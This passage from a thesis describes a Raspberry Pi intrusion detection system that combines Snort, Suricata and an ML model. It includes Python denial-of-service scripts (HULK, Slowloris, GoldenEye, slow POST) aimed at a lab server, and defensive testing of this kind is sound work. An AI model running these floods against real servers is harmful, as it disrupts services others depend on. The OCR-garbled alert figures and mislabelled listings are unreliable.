Brute Force - Web 1.00 0.97 0.99 36
Brute Force - XSS 1.00 1.00 1.00 18
FTP-BruteForce 0.84 1.00 0.91 21
Infiltration 0.65 0.16 0.26 9,157
SQL Injection 1.00 0.53 0.70 15
SSH-Bruteforce 1.00 1.00 1.00 28,157
Overall Accuracy 0.98 442,564

Table 3.5: LSTM Classification Report of the IDS Model on the Test Set

Analysis : The LSTM model achieved high accuracy, comparable to classical models, and
showed promising performance even on classes with sequence patterns. However, training and
inference were computationally intensive. The model was more robust to noise in common
attacks but still struggled with Infiltration and SQL Injection, reinforcing the need for data

augmentation or cost-sensitive learning for rare events.

3.5 Comparative Analysis

Table 3.6 provides a comparative summary of the four machine learning models used for
breach detection. It highlights key performance metrics, such as accuracy, average precision,
recall, and F1 score, as well as the notable strengths and weaknesses of each model. Figure
3.9 also illustrates the performance curve, illustrating the balance between accuracy and recall
across different attack categories. This visualization helps understand how well each model

handles both common and rare attack types.
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Model Accuracy | Precision | Recall F1-Score | Notable Notable
(Avg) (Avg) (Avg) Strengths Weaknesses
Decision | 0.9798 0.90 0.85 0.86 Fast, inter- | Poor on rare
Tree pretable, classes (e.g.,
solid baseline | Infiltration)
Random | 0.9805 0.93 0.85 0.87 Robust, Slight improve-
Forest better gener- | ment over DT
alization only
KNN 0.9802 0.92 0.83 0.85 Simple, High memory &
strong on bal- | time consump-
anced data tion
LSTM 0.9808 0.93 0.83 0.86 Captures se- | Expensive train-
quential pat- | ing, weak on rare
terns classes
Table 3.6: Comparative Performance of Classification Models
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Key Observations

Accuracy Comparison

All models demonstrated strong performance on the CIC-IDS2018 dataset, with overall
accuracies exceeding 97.9%. The Long Short-Term Memory (LSTM) model achieved the highest
accuracy (98.08%), followed closely by Random Forest and K-Nearest Neighbors (KNN).

Handling of Rare Classes

Despite high overall performance, all models showed difficulty in detecting underrepresented
attack types such as Infiltration and SQL Injection. These classes consistently received low
recall scores. While ensemble methods like Random Forest and deep learning models like

LSTM performed marginally better, none fully overcame the data imbalance challenge.

Computational Efficiency

e Decision Tree and Random Forest: Efficient during inference and suitable for deploy-

ment on resource-constrained systems.

e KNN: Computationally intensive due to its lazy learning nature; unsuitable for large-

scale or real-time applications.

e LSTM: Requires substantial training time and GPU acceleration, making it less ideal

for real-time inference on devices like the Raspberry Pi.

Model Robustness

Random Forest and LSTM models demonstrated strong robustness across various attack
categories, maintaining high precision and recall for most classes. LSTM showed lower risk of

overfitting due to its capacity to learn temporal dependencies.

Conclusion of Comparative Analysis
Each algorithm has specific advantages based on deployment requirements:

e Decision Tree: Suitable for simple and interpretable systems.

e Random Forest: Offers a strong balance between accuracy, generalization, and effi-

ciency.
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e LSTM: Best suited for detecting complex temporal patterns in advanced threats.

e KINN: Usable for small-scale prototypes, but lacks scalability.

3.6 Conclusion

In this chapter, multiple machine learning models—including Decision Tree, Random Forest,
K-Nearest Neighbors, and LSTM-—were trained and evaluated using a rich dataset comprising
over 3.4 million records from real-world intrusion scenarios. The experimental results demon-
strated high accuracy across all models, with Random Forest and LSTM slightly outperforming
others. However, challenges remained in detecting minority classes such as Infiltration and SQL
Injection. Through comparative analysis, Random Forest emerged as the most balanced option
for real-time deployment on resource-constrained systems. These findings serve as a foundation

for selecting and implementing an effective IDS model in the subsequent deployment phase.
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Chapter 4 Testing and Results

4.1 Introduction

This chapter presents a comprehensive evaluation of the implemented intrusion detection
system (IDS), highlighting the performance of the traditional signature-based tools (Snort and
Suricata) alongside the trained machine learning model. The purpose of this testing phase
is to assess how effectively the system can identify and respond to different types of network
intrusions under real-world conditions. A variety of normal and malicious traffic scenarios were
simulated within a controlled environment, ranging from simple packet floods to more sophis-
ticated attacks such as Heartbleed and Slowloris. The experiments aim to measure detection
accuracy, false positive rates, and overall system behavior, thereby providing practical insight

into the strengths and limitations of the proposed solution.

4.2 Testing Methodology and Environment

To evaluate the effectiveness of the proposed Intrusion Detection System (IDS), a compre-
hensive testing environment was established. The hardware setup consisted of a Raspberry Pi
5 configured with Kali Linux, alongside a Windows PC and a Linux machine, all connected to
the same local network. The Raspberry Pi served as the central detection node, running both
Snort and Suricata as signature-based IDS engines.

Additionally, a custom deep learning model was trained on the CSE-CIC-IDS2018 dataset
[17] to identify malicious traffic patterns. This model was integrated into a lightweight Flask-
based web application hosted on the Raspberry Pi, enabling real-time traffic analysis and
alert visualization. The testing methodology aimed to validate both traditional IDS detection

(Snort/Suricata) and intelligent detection via the trained model.

4.3 Normal vs Malicious Traffic Simulation

To simulate realistic network conditions, two categories of traffic were generated:

4.3.1 Normal Traffic

Normal traffic included routine network operations such as:
e File transfers using protocols like FTP and SCP,

e Web browsing on common sites,
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e System updates and software installations.

These actions were executed from the Linux and Windows machines to establish baseline

behavior and evaluate the IDS’s ability to avoid false positives.

4.3.2 Malicious Traffic

Malicious traffic was simulated using custom Python scripts developed with Scapy and the

tool hping3. The types of attacks included:

from flask import Flask, render_template
import tensorflow as tf

import scapy.all as scapy

import numpy as np

import threading

app = Flask (__name_ )

9 model = tf.keras.models.load_model ( )

detection_status = { 3 }

def preprocess_packet (packet) :
if packet.haslayer (scapy.IP):
features = [
len (packet),
packet [scapy.IP].ttl,
packet [scapy.IP].len,
int (packet [scapy.IP].src.split( )y [0]),
int (packet [scapy.IP].dst.split ( ) [01),
]
while len (features) < 78:
features.append(0)
return np.array (features, dtype=np.float32).reshape(l, 1, 78)

return None

def packet_callback (packet) :
global detection_status
features = preprocess_packet (packet)
if features is not None:
try:

prediction = model.predict (features)
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predicted_class = np.argmax (prediction, axis=1) [0]
if predicted_class ==
print ( )
detection_status|[ ] =
ellse:
detection_status|[ ] =
except Exception as e:

print (f )

def start_sniffing():

scapy.sniff (iface= , prn=packet_callback, store=0)

threading.Thread (target=start_sniffing, daemon=True) .start ()

Qapp.route ( )

7 def index () :

return render_template ( , status=detection_status]| 1)
if _ name_ ==
app.run (host= , port=5000)

Listing 4.1: Attack

e SYN Flood: Repeated TCP SYN requests sent to the target to exhaust its resources.
e UDP Flood: High volume of UDP packets designed to overwhelm the target system.

e ICMP Smurf Attack: Spoofed echo requests causing the network to flood the target
with ICMP replies.

e Command-line Intrusions: Activities such as unauthorized port scanning, network

enumeration, and the execution of suspicious payloads via terminal commands.

39



Chapter 4 Testing and Results

merkhoufidmerkhoull </Desktop

Edit  View Search  Terminal Help

merkhoufi@merkhoufi:~$ cd Desktop/
merkhoufi@merkhoufi:~/Desktop$ sudo python3 attack.py
[sudo] password for merkhoufi:

Malicious Packet Simulator

[1] SYN Flood Attack

[2] UDP Flood Attack

[3] ICMP Smurf Attack

[4] Run All

Select an attack type (1-4): 4

Enter the number of packets to send (e.g., 100): |

Figure 4.1: Attack Normal vs Malicious Traffic

The output illustrated in Figure 4.2 demonstrates the system’s ability to differentiate be-
tween normal and anomalous network behavior. In the first part of the output, the traffic is
classified as normal, with no suspicious activity detected by the IDS, indicating that the system
correctly identifies benign traffic patterns. However, once a simulated attack is launched—such
as a DoS or port scanning attempt—the second part of the output clearly marks the transition
to an anomalous state. The IDS successfully detects the intrusion and generates a real-time
alert, specifying the type of attack, its classification, priority level, and the involved IP ad-
dresses. This visual representation highlights the effectiveness of the detection mechanism in

accurately identifying malicious activity within a monitored network environment.

$ @ BB @ s clog s 3 = 1719
——

T
ad b el e e Ry

Figure 4.2: IDS Output — Normal vs. Anomalous Traffic
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Figure 4.3 represents the initial state of the Flask-based web interface before any intrusion
is detected, displaying a clean status with no alerts and normal network activity. In contrast,
Figure 4.4 shows the system’s response after an attack is detected, where the interface dynami-
cally updates to display a detailed alert including the attack type, and timestamp. These visual

outputs confirm the real-time detection capability of the proposed IDS system.

Network Intrusion
Detection

L+ Network Status: Safe

Figure 4.3: Normal Traffic — No Alert

Network Intrusion
Detection

& Warning! Safe Detected!

Figure 4.4: Anomaly Detected — Alert Triggered

These attacks were directed towards the Raspberry Pi and were monitored through both the

machine learning-based detection model and the traditional Snort and Suricata IDS engines.
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4.4 Incident Detection and Logs

Upon executing the attacks, the detection mechanisms responded accordingly:

Snort triggered real-time alerts based on predefined rule sets. For instance, TCP-based SYN
flood attempts were logged with detailed packet information and timestamps.

Suricata, supported by its built-in rule engine and YAML-based configuration, successfully
detected the UDP and ICMP floods, generating JSON-based logs which were later parsed for

analysis.

Hulk DoS (HTTP Flood)

The following Python script 22 a Denial-of-Service (DoS) attack using the HULK (HTTP
Unbearable Load King) technique. It targets a specified IP address and port—typically a web
server on port 80—by opening numerous TCP connections and sending randomized HTTP
GET requests. The hulk_attack function generates dynamic query strings to bypass caching
mechanisms and ensure each request is unique. It uses the socket module to establish a connec-
tion and send the HTTP payload, while threading is employed to launch multiple concurrent
attack threads (100 in this case), maximizing the traffic load on the target. This simulates real-
world HULK attack behavior and can be used to test the detection capabilities of intrusion
detection systems like Snort.

import socket
import threading

import random

5 target_ip =

; target_port = 80

def hulk_attack() :

while True:

try:
s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
s.connect ( (target_1ip, target_port))
s.send (f
.encode ())
s.close ()
except:
pass
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s # Start multiple threads
for 1 in range (100) :

threading.Thread (target=hulk_attack) .start ()
Listing 4.2: HULK Attack Code

The DoS Hulk attack is characterized by a high volume of HT'TP GET requests aimed at
overwhelming a web server. Snort detects this by employing rate-limiting rules. A typical Snort
rule for Hulk would monitor the rate of HT TP GET requests from a single source IP address to a
web server’s port (e.g., port 80 or 443). When the number of such requests exceeds a predefined
threshold within a specific timeframe (e.g., 50 requests in 10 seconds), Snort triggers an alert.
The output in the terminal would show repeated alerts indicating an ”excessive HT'TP GET

requests” anomaly, often classified as an attempted Denial of Service.

. Steuret:

. Steuret:

. Steuret: 37-DN..
. Steuret:

. Steuret:

. Steuret: 1°

. Steuret:

. Steuret:

. Steuret:

. Steuret:
. Steuret:

. Steuret:
. Steuret:
. Steuret:
. Steuret:
. Steuret:
. Steuret:
. Steuret:
. Steuret:
. Steuret:
. Steuret:
. Steuret:
. Steuret:
. Steuret:
. Steuret:
. Steuret:

Figure 4.5: DoS Hulk

Figure 4.6 presents a sample Snort alert generated during the simulation of a HULK (HTTP
Unbearable Load King) DoS attack. The alert message indicates that Snort successfully de-
tected an attempted denial-of-service attack originating from IP address 192.168.183.217 tar-
geting a local web server at 192.168.183.162. The alert includes packet metadata such as TCP

43



Chapter 4 Testing and Results

flags (***AP***) sequence and acknowledgment numbers, packet length, and classification as
7 Attempted Denial of Service” with a priority level of 2. This output validates the IDS’s abil-
ity to recognize high-rate HT'TP floods, commonly associated with volumetric application-layer

attacks like HULK.

DgmLe:

98ABCDEF Win: €x200@ Tcplen: 20

Figure 4.6: Snort Alert Output — HULK Attack Detection

Slowloris DoS

The presented Python script 22 a Slowloris attack, a low-bandwidth Denial-of-Service (DoS)
technique that exhausts the target server’s resources by holding numerous connections open.
The script establishes 200 simultaneous TCP connections to the target web server (192.168.183.162:80)
and sends partial HTTP GET requests without completing them. Inside an infinite loop, it
periodically sends additional header lines (e.g., X-a:) with random values to keep the connec-
tions alive and prevent timeout. This method consumes the server’s available sockets, making
it unable to serve legitimate clients. The use of time.sleep(10) slows down the request intervals,
emulating the behavior of a real Slowloris attack and allowing the detection system (e.g., Snort)

to identify it based on connection persistence and abnormal traffic patterns.

I import socket
2 import time

3

1 sockets = []
5 target_ip =

6 target_port = 80

g for _ in range(200) :

9 s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
10 s.connect ( (target_1ip, target_port))

11 s.send ( .encode () )

12 sockets.append(s)

i while True:
for s in sockets:

16 try:
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17 s.send( .format (random.randint (1, 5000) ) .encode ())
18 except socket.error:
19 sockets.remove (s)

20 time.sleep (10)
Listing 4.3: Slowloris DoS Code

DoS Slowloris exploits web servers by maintaining numerous incomplete HT'TP connections,
thereby consuming server resources. Snort’s detection relies on identifying an unusual pattern
of partial HTTP requests. A signature would look for characteristics such as the initiation
of HTTP GET requests that include standard headers like "Host:” and ”Connection: Keep-
Alive,” but where the request body is intentionally delayed or never fully sent. Snort rules
can be configured to flag connections that remain open for an extended period without proper
completion, or to detect a high volume of such partial connections from a single source. Terminal

output would highlight ”partial HT'TP request” alerts, signaling an attempted DoS.

snort Time Real Time_Attack Detrnal_Dedoal-of-Service

0ST1876021B:2022. Tugnom

DST1876021B: Awestartass22

DST1670021B:10224

DST1676021B: 20321

DST1676022B:203232

POTTP Stucanons./Prort

SOOREE... SloresEas-Fra/p/ENG14RTT17

DST1876023:42256ErA+801

DST1676021B:4283222

DST1676021B:203318

STI11L0SSLlowloris

DST1676021B:2033/29
DST1676021B:22748208
DST1676021B:4233/035
STI1COP Slowloris
0ST17100P Requests (E/HTTP-atp/™
H32177CPEPlodestoowlors

0321TTTP Sourecionsquests
H2211TTP&5% Vincion connetechung
0321ZTTPicomyecting requests
0321771CLE% Aektomduettione.. atimes
03217706°% long connelstiolong

03217ZTTP Slowectoriie conconectong
03217TTP/Slowlorisquess,_ancompettn requests)
032177EP itopecton aerionp-icwpetin requests
032177EPeiennectors latkche
032177SExbukLacton
032190.Srtoperts/_._Eue/3e,20hb82
032192Lontube ‘

03217100GRegertos HTTP°A_.50/60pg
03216Llortreguarse

03218760E/0Oupobn3/

Figure 4.7: DoS Slowloris
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Figure 4.8 displays a Snort alert triggered by a Slowloris attack. This type of attack exploits
HTTP protocol behavior by sending partial, slow HTTP requests to exhaust the server’s con-
nection pool without completing the handshake. The alert identifies a single TCP packet from
the attacker’s TP address 192.168.183.217 targeting the victim at 192.168.183.162. The alert
is classified as ” Attempted Denial of Service” with a high priority level (1), highlighting the
severity of the threat. The packet details include TCP flags (***A****) indicating an acknowl-
edgment packet, a relatively small payload (DgmLen: 60), and the use of the Don’t Fragment
(DF) flag. This output confirms that Snort is capable of detecting stealthy, low-bandwidth
DoS attacks like Slowloris.

HERNEELE Sagz: Co cK: 8 7898 Win: 8xleee8 Tcplen: 32

Figure 4.8: Snort alert showing detection of a Slowloris DoS attack using incomplete HTTP

requests.

GoldenEye DoS (like Hulk + KeepAlive)

The following Python script 21 replicates the behavior of a GoldenEye Denial-of-Service
(DoS) attack, which targets web servers by sending a continuous stream of HTTP GET re-
quests using multiple threads. The goldeneye_attack function establishes a TCP connection to
the target (192.168.183.162 on port 80), sends an HTTP GET request with a spoofed User-
Agent header set to ”GoldenEye”, and includes a Connection: Keep-Alive directive to maintain
persistent connections. The script creates 50 concurrent threads to maximize the request rate,
simulating a moderate to high-volume application-layer flood. This type of attack aims to
exhaust server resources such as memory and thread pools. The simulation helps evaluate the
intrusion detection system’s (IDS) responsiveness to aggressive but protocol-compliant HTTP
request floods.

import socket
import threading

import random

5 target_ip =

]

target_port = 80

def goldeneye_attack() :
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while True:
try:
s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
s.connect ( (target_ip, target_port))

request = f

s.send (request.encode())
s.close ()
except:

pass

for _ in range (50):

threading.Thread (target=goldeneye_attack) .start ()
Listing 4.4: GoldenEye Attack Code

The DoS GoldenEye attack is a sophisticated application-layer DoS tool that generates
large numbers of HT'TP POST requests. Snort’s detection mechanism for GoldenEye typically
focuses on the volume and nature of these POST requests. Rules are configured to identify a
rapid succession of HTTP POST requests originating from a single source, potentially combined
with specific user-agent strings or other header anomalies often associated with the GoldenEye
tool. The Snort terminal would display alerts indicating a ”high rate of HT'TP POST requests,”

categorized as an attempted Denial of Service.
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Figure 4.9: DoS GoldenEye

Figure 4.10 illustrates a Snort alert generated in response to a GoldenEye DoS attack sim-
ulation. GoldenEye floods the target server with persistent HI'TP GET requests that appear
legitimate but aim to overwhelm application-layer resources. The alert indicates that traffic
from the attacking IP 192.168.183.217 to the victim server 192.168.183.162 was classified as an
Attempted Denial of Service, with a priority level of 2. Key packet attributes such as TCP
flags (***AP***) a large datagram length (DgmLen: 1480), and the DF (Don’t Fragment)
flag suggest an aggressive and persistent HT'TP connection pattern. The presence of the AP
flags (ACK and PSH) implies data transmission over an established connection. This output
confirms that Snort successfully identified traffic patterns consistent with the GoldenEye DoS
attack methodology.
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[**] [1:1eeee03:1] DoS GoldenEye Pattern Detected [**]
[Classification: Attempted Denial of Service] [Priori
6 192.168.183.217 -> 6

TCP TTL:E H 3 8 DF
23344 Win: 8x4008 Tcplen: 26

Figure 4.10: Snort alert triggered by detection of GoldenEye HTTP flood traffic from a persis-

tent attacker source

SlowHTTPTest (Slow POST)

This Python script 18 a SlowHTTPTest attack, a form of application-layer Denial-of-Service
(DoS) that exploits HTTP POST requests by sending the message body at an extremely slow
rate. The script establishes a TCP connection with the target web server (192.168.183.162:80)
and sends a deliberately incomplete POST request, specifying a large Content-Length to signal
a long body. It then transmits the body character-by-character (”X”) at regular intervals (every
0.5 seconds), keeping the connection open and occupying server resources. This behavior mimics
the SlowHTTPTest tool, which aims to exhaust thread pools and cause connection timeouts on
the server. The simulation is effective for testing whether intrusion detection systems such as
Snort can recognize low-rate, protocol-compliant DoS attacks that degrade service availability
over time.

I import socket
2 import time

3

1 target_ip =

5 target_port = 80

7 s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
s s.connect ((target_ip, target_port))
9 s.send/( .format (

target_ip) .encode())

1 # Send body very slowly

2> while True:

13 try:

14 s.send ( .encode ())
time.sleep (0.5)

16 except:

17 break
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Listing 4.5: SlowHTTPTest Code

DoS SlowHTTPTest is a versatile tool that can launch various slow DoS attacks, including
Slow Headers and Slow Post. Snort’s detection of these attacks involves identifying incomplete
or malformed HTTP requests that are designed to keep connections open for an extended
duration. For Slow Headers, Snort looks for HT'TP requests where headers are sent very slowly,
one by one. For Slow Post, it monitors HT'TP POST requests where the body is sent in small,
fragmented chunks over a long period. Snort rules for SlowHTTPTest often employ content
inspection and byte test options to detect the characteristic delays and incomplete packet
formations. Terminal output would show ”incomplete HT'TP request” alerts, highlighting the

suspicious nature of the communication.

SlowHTTPTest DOS

75004f17 16:300
76002-12316- 201
730041: 73163002

blow;HTlTPTFPsL Leek _

Extor rejguendon, heaguer Lenghs_VS_MDS_atiack
on

73004-10316:100

7‘6824 2_2 6:208

STowHTTTPTTest DoS atack _ _

Extor requesthn' HTTP Headerin. WS_HNS_atirns)

Target (URLL

125525:3073
STowHTTTPTTest DoS atack
Extandenc HTTP heaguer(Lenghs_VS_HDS_atirnt)
ngget
]_Sr_l V. L

SLOWHTTT TT'QSL DoS atack
X tion/ Lenguer Lenghs_VP_HDS_atiact)

est DoS atack .
on' HTTP Headerion_VS_HNS_atirnt)

SlowHTTTPTI'e DoS atack __
xtor r %ﬁ[t')n/ Leaguer Lenghs_VP_HNS_atirns)

Tlest SlowHTTPTest, DoS_HDS_atiack)

Figure 4.11: DoS SlowHTTPTest
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Figure 4.8 presents a Snort alert triggered during the simulation of a SlowHTTPTest attack.
This type of attack sends HTTP POST requests with an abnormally large content length,
followed by an intentionally slow transmission of the request body. The alert indicates that the
source IP address 192.168.183.217 initiated a suspicious connection toward the target server
at 192.168.183.162. Classified as an Attempted Denial of Service with priority 1, the alert
highlights the severity and stealthy nature of the attack. The TCP packet is marked with
the PUSH flag, consistent with the gradual sending of payload data. The relatively small
datagram length (DgmLen: 60) further reinforces the pattern of slow data transfer, typical of
the SlowHTTPTest tool. This detection confirms that the intrusion detection system is capable

of identifying time-based, low-rate DoS attacks that exploit HT'TP protocol behavior.

Figure 4.12: Snort alert generated from the detection of a SlowHTTPTest attack using a slow
POST request

Heartbleed (Scapy)

The following Python script 8 uses the Scapy library to network traffic resembling the Heart-
bleed vulnerability (CVE-2014-0160). While the code does not execute a real exploitation of
OpenSSL, it mimics the initial connection behavior by crafting and sending multiple TCP SYN
packets to port 443 (commonly used for HTTPS). The RandShort() function randomly se-
lects source ports to emulate diverse connection attempts, and the flags="S" indicates a TCP
SYN request to initiate a handshake. Although no malicious payload is sent, this simulation
is sufficient to trigger alert signatures in intrusion detection systems configured to monitor
suspicious activity related to Heartbleed. The primary purpose of this simulation is to safely
test Snort’s capability to recognize patterns associated with known SSL vulnerabilities without
compromising system security.

from scapy.all import =
3 target_ip =

5 # Fake heartbeat request (does not exploit, just simulates packet)

6 pkt = IP(dst=target_ip)/TCP (dport=443, sport=RandShort (), flags= )

51



Chapter 4 Testing and Results

7 send (pkt, count=5)
Listing 4.6: Heartbleed Code

Figure 4.13 shows a Snort alert generated during the of a Heartbleed exploit attempt. Heart-
bleed is a critical vulnerability in OpenSSL’s implementation of the TLS heartbeat extension,
allowing attackers to read sensitive memory from affected servers. Although the simulation did
not include a full TLS payload, Snort successfully flagged the traffic pattern as suspicious. The
alert identifies traffic from source IP 192.168.183.217 to destination 192.168.183.162 on port
443, with TCP flags ***PA*** (Push and Acknowledge), indicating active data transmission.
It is classified as ” Attempted Administrator Privilege Gain” with the highest priority level (1),
due to the severity and exploit nature of Heartbleed. The alert demonstrates Snort’s ability to

detect known high-risk exploit signatures, even in emulated conditions.

[**] [1:1e@e@85:1] Heartbleed TLS Exploit Attempt [**]

in: 8x5888 Tcplen: 32

Figure 4.13: Snort alert indicating detection of a Heartbleed TLS exploit attempt over port
443

4.5 Performance, Limitations, and Improvements

4.5.1 Detection Rate and False Positives

To assess the effectiveness of the IDS setup, a variety of Denial-of-Service (DoS) attacks

were simulated in addition to basic flooding techniques. These included:

e DoS Hulk: A high-speed HTTP flood attack simulating multiple simultaneous connec-

tions.
e DoS Slowloris: Opens many incomplete HT'TP connections to exhaust server resources.
e DoS GoldenEye: Similar to Hulk but with more complex threading and randomization.

e DoS SlowHTTPTest: Exploits slow HT'TP headers or body transmission to keep con-

nections open.

e Heartbleed: Exploits OpenSSL vulnerability (CVE-2014-0160) to extract data from

memory.
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Each attack was launched individually from a client machine within the local network and
monitored using the three detection systems: Snort, Suricata, and the trained machine learning

(ML) model.

Detection Tool | Accuracy | False Positive Rate | Strengths / Type Coverage
Snort 92% 8% High precision for TCP/UDP
flood, limited Heartbleed detec-

tion without CVE rules

Suricata 95% 6% Strong in HTTP-based DoS and
ICMP detection

ML Model 97% 5% Excellent for slow/stealthy at-
tacks (e.g., Slowloris, Heartbleed)

Table 4.1: IDS Detection Performance Metrics

ML Model Suricata Snort
Excellent accuracy, Strong detection, High accuracy, some
least false positives fewer false positives false positives

Figure 4.14: Detection Tool Accuracy and False Positives
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Comprehensive Attack Detection Table

Attack Type Description Snort Suricata | ML Model | Notes
SYN Flood TCP SYN packets High High Very High | Detected ef-
to exhaust server fectively by all
resources systems
UDP Flood High volume of High High Very High | All systems had
UDP packets high accuracy
ICMP Smurf ICMP  echo re-| Medium High High Suricata was
quests to broadcast most effective
addresses
DoS Hulk Rapid HTTP flood | Medium High Very High | ML model ex-
celled at pattern
recognition
DoS Slowloris Slow, incomplete Low Limited Very High | ML model only
HTTP connections reliable detector
DoS GoldenEye | Threaded HTTP | Medium High Very High | Suricata and
DoS with random ML model per-
headers formed best
DoS Slow header/body Low Partial Very High | Traditional tools
SlowHTTPTest | transfer to hold ses- struggled
sions
Heartbleed Exploits TLS | Very Low | Partial High Detected only by
heartbeat memory ML model
leak
Port Scan Scans for open High High High All  tools de-
ports (TCP/UDP) tected scanning
patterns
Command-line Malicious tools | Partial Medium | Very High | ML model de-

Attacks

(curl, wget, etc.)

tected payload

anomalies

Table 4.2: Comparison of IDS Performance per Attack Type
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Attack Detection Highlights

e Hulk & GoldenEye: Detected by all systems due to high traffic volume and clear

pattern repetition. Suricata provided more structured logs.

e Slowloris & SlowHTTPTest: Difficult for Snort/Suricata without specific rules. ML

model effectively flagged abnormal connection behavior.

e Heartbleed: Not detected by default Snort/Suricata unless CVE-specific rules were

added. ML model caught anomalies in TLS handshake and response size.

Key Observations

e Traditional IDS tools (Snort/Suricata) are highly effective against volumetric attacks like

SYN, UDP, and ICMP floods.

e These tools are less effective against slow and application-layer attacks without regularly

updated rules.

e The machine learning model demonstrated robust performance in detecting stealthy and

unknown attack patterns.

4.6 Conclusion

The experimental results clearly demonstrate the complementary strengths of both tradi-
tional and intelligent intrusion detection approaches. Snort and Suricata proved effective in
identifying high-volume, well-known attacks, while the machine learning-based model excelled
in detecting stealthy and previously unseen behaviors. Attacks such as SlowHTTPTest and
Heartbleed, which often evade rule-based systems, were successfully flagged by the trained
model, emphasizing its ability to generalize beyond fixed signatures. However, hardware con-
straints and model tuning remain areas for improvement, particularly on resource-limited de-
vices like the Raspberry Pi. Overall, the findings validate the effectiveness of the hybrid IDS
approach and underscore its potential for further development in real-time, low-cost cyberse-

curity solutions.
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Chapter 5 System Architecture and Implementation

5.1 Introduction

This chapter provides a detailed description of the system architecture and the implemen-
tation process of the proposed Intrusion Detection System (IDS). It explains how different
components—such as signature-based engines, machine learning models, and network monitor-
ing tools—are integrated within a unified framework deployed on a Raspberry Pi. The goal is to
build a lightweight yet powerful IDS capable of detecting both known and unknown attacks in
real-time. The chapter also outlines the hardware and software stack, the role of each module,
and the data flow from traffic capture to alert generation. The design emphasizes modularity,

scalability, and efficiency, especially within the constraints of a resource-limited device.

5.2 Architecture

The proposed Intrusion Detection System (IDS) combines both signature-based and machine
learning-based approaches to enhance detection capabilities across a wide range of attack types.

The system is structured into three core components:

1. Traffic Capture and Preprocessing Module: Responsible for capturing raw packets
from the network interface and extracting relevant features such as protocol types, packet

lengths, flags, and payload information.
2. Detection Engines: This layer integrates:

e Snort: A rule-based IDS effective in detecting known threats.

e Suricata: A high-performance IDS/IPS with multi-threading and deep packet in-

spection capabilities.

e Machine Learning Model: A trained deep learning model capable of detecting

novel or anomalous patterns that may signify zero-day attacks.

3. Alert Logging and Web Interface: Detected events are logged and visualized via a
Flask-based web interface running on the Raspberry Pi. This interface provides real-time

insights into threats and supports administrative monitoring.

This hybrid architecture enables real-time monitoring of network traffic, efficient identifica-
tion of known threats using rule-based systems, and intelligent detection of anomalies through

data-driven learning, thus increasing the system’s adaptability and robustness.
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Figure 5.1 represents the Architecture Diagram of the implemented Intrusion Detection
System (IDS) deployed on a Raspberry Pi 5. This diagram illustrates the system’s workflow
from capturing network traffic to detecting intrusions using both signature-based tools (Snort
or Suricata) and a machine learning-based model. The architecture integrates a preprocessing
stage that filters and structures the raw traffic before it is analyzed by detection engines. Alerts
generated by these engines are then centralized in a web-based interface for visualization and
monitoring. This modular design ensures scalability and flexibility, allowing seamless commu-
nication between the detection tools and the logging platform, all while operating efficiently on

a low-resource device like the Raspberry Pi.

Network Traffic

l

Traffic Capture and
Preprocessing

l |

Snort Suricata
Alert Logging and

Web Interface

Signurac- <> ML Model

Based IDS
Detectionn

A 4

Raspberry Pi 5

Figure 5.1: Architecture Diagram Intrusion Detection System (IDS)
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Figure 5.2 represents an Diagram for the Intrusion Detection System (IDS), clearly illus-
trating the interaction between different system users and their specific responsibilities. The
diagram includes four main actors: the Administrator, responsible for managing detection rules
and configurations; the Network User, whose regular activity generates traffic that the IDS mon-
itors; the Attacker, who intentionally generates malicious traffic to test the system’s detection
capabilities; and the Model Trainer, who handles the training and updating of the machine
learning model. Each actor is directly linked to relevant system functions such as “Manage
Rules,” “Monitor Traffic,” or “Generate Traffic,” ensuring a comprehensive and organized de-
piction of the system’s operational scope and user involvement. This diagram complements the

architectural view presented earlier by focusing on the functional interactions within the IDS.

(\' Intrusion Detection System
) v

.

Core system monitoring network traffic

Administrator

Manages rules and configurations

Network User

Generates regular network traffic

Attacker

Generates malicious traffic for testing

Model Trainer

Updates machine learning models

Figure 5.2: Intrusion Detection System User Interactions

5.3 Raspberry Pi Setup and OS Configuration (Kali OS)

The implementation began with preparing the Raspberry Pi Model 4 as the main platform
for the IDS. The chosen operating system was Kali Linux, known for its lightweight footprint

and built-in support for network analysis and penetration testing tools.
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The setup process included the following steps:

e Flashing the OS: The Kali Linux image was downloaded from the official source and

written to a microSD card using tools such as Balena Etcher or Raspberry Pi Imager.

e Initial Configuration: Upon first boot, system settings were adjusted, including ex-

panding the file system, setting locale preferences, and enabling SSH access.

e Network Setup: The Raspberry Pi was connected to the local network via Ethernet for

better stability and faster data transfer during traffic capture.

e System Updates: Essential system packages and dependencies were updated using the
command: sudo apt update && sudo apt upgrade to ensure compatibility and

security.

This environment provided the foundation for installing Snort and integrating the additional

components needed for the IDS.

Download Kali Flash 0S to Initial
Linux Image SD card Configuration

Obtain the 0S image from Write the image to a Adjust system settings
the official source microSD card using tools upon first boot

Connect the Raspberry Pi
to the local network

Figure 5.3: Raspberry Pi Setup for IDS

5.4 Hardware and Network Setup

5.4.1 Devices Involved

The experimental environment consisted of the following hardware components, all con-

nected through a shared local area network (LAN):

60



Chapter 5 System Architecture and Implementation

e Raspberry Pi 5: Configured with Kali Linux, it serves as the central monitoring and
processing unit. It hosts Snort, Suricata, and a machine learning detection model inte-

grated into a Flask web interface.

Figure 5.4: Raspberry Pi

e Linux Laptop: Utilized to generate legitimate (benign) traffic such as file transfers,
browsing activity, and software updates. It was also used to execute terminal-based

attacks and port scans.

e Windows Machine: Primarily used to launch various denial-of-service (DoS) and scan-

ning attacks, including Hulk, Slowloris, and nmap port scans.

e Wi-Fi Router: Provided a common communication medium for all devices, ensuring

they operated on the same subnet to simulate a realistic LAN environment.
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5.4.2 Network Topology

The Raspberry Pi is capturing packets on its wlan0O interface and processing them in real

time as both figure 5.5 and 5.6 illustrate.

‘ WindowsAttacker PC ’ ‘ LinuxBenign Device

@ter (LAN)

‘ Raspberry Pi 5(Monitoring Node)

Figure 5.5: Experimental Network Setup for IDS Testing

Raspberry Pi 5

| [} Serves as the central
[} monitoring and

processing unit.

Wi-Fi Router

Provides a common
network environment.

Windows Machine

.EEI Linux Laptop
Executes scanning and = — Elnr:ula_!es bder:;gnl
DoS attacks. ehavior and deploys
attacks.

Figure 5.6: Network Security Setup

5.5 Software Stack and Tools

The development and evaluation of the proposed IDS system relied on a comprehensive set

of software tools and libraries, as outlined below:
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e Snort: Configured with both community and custom rules to detect well-known threats

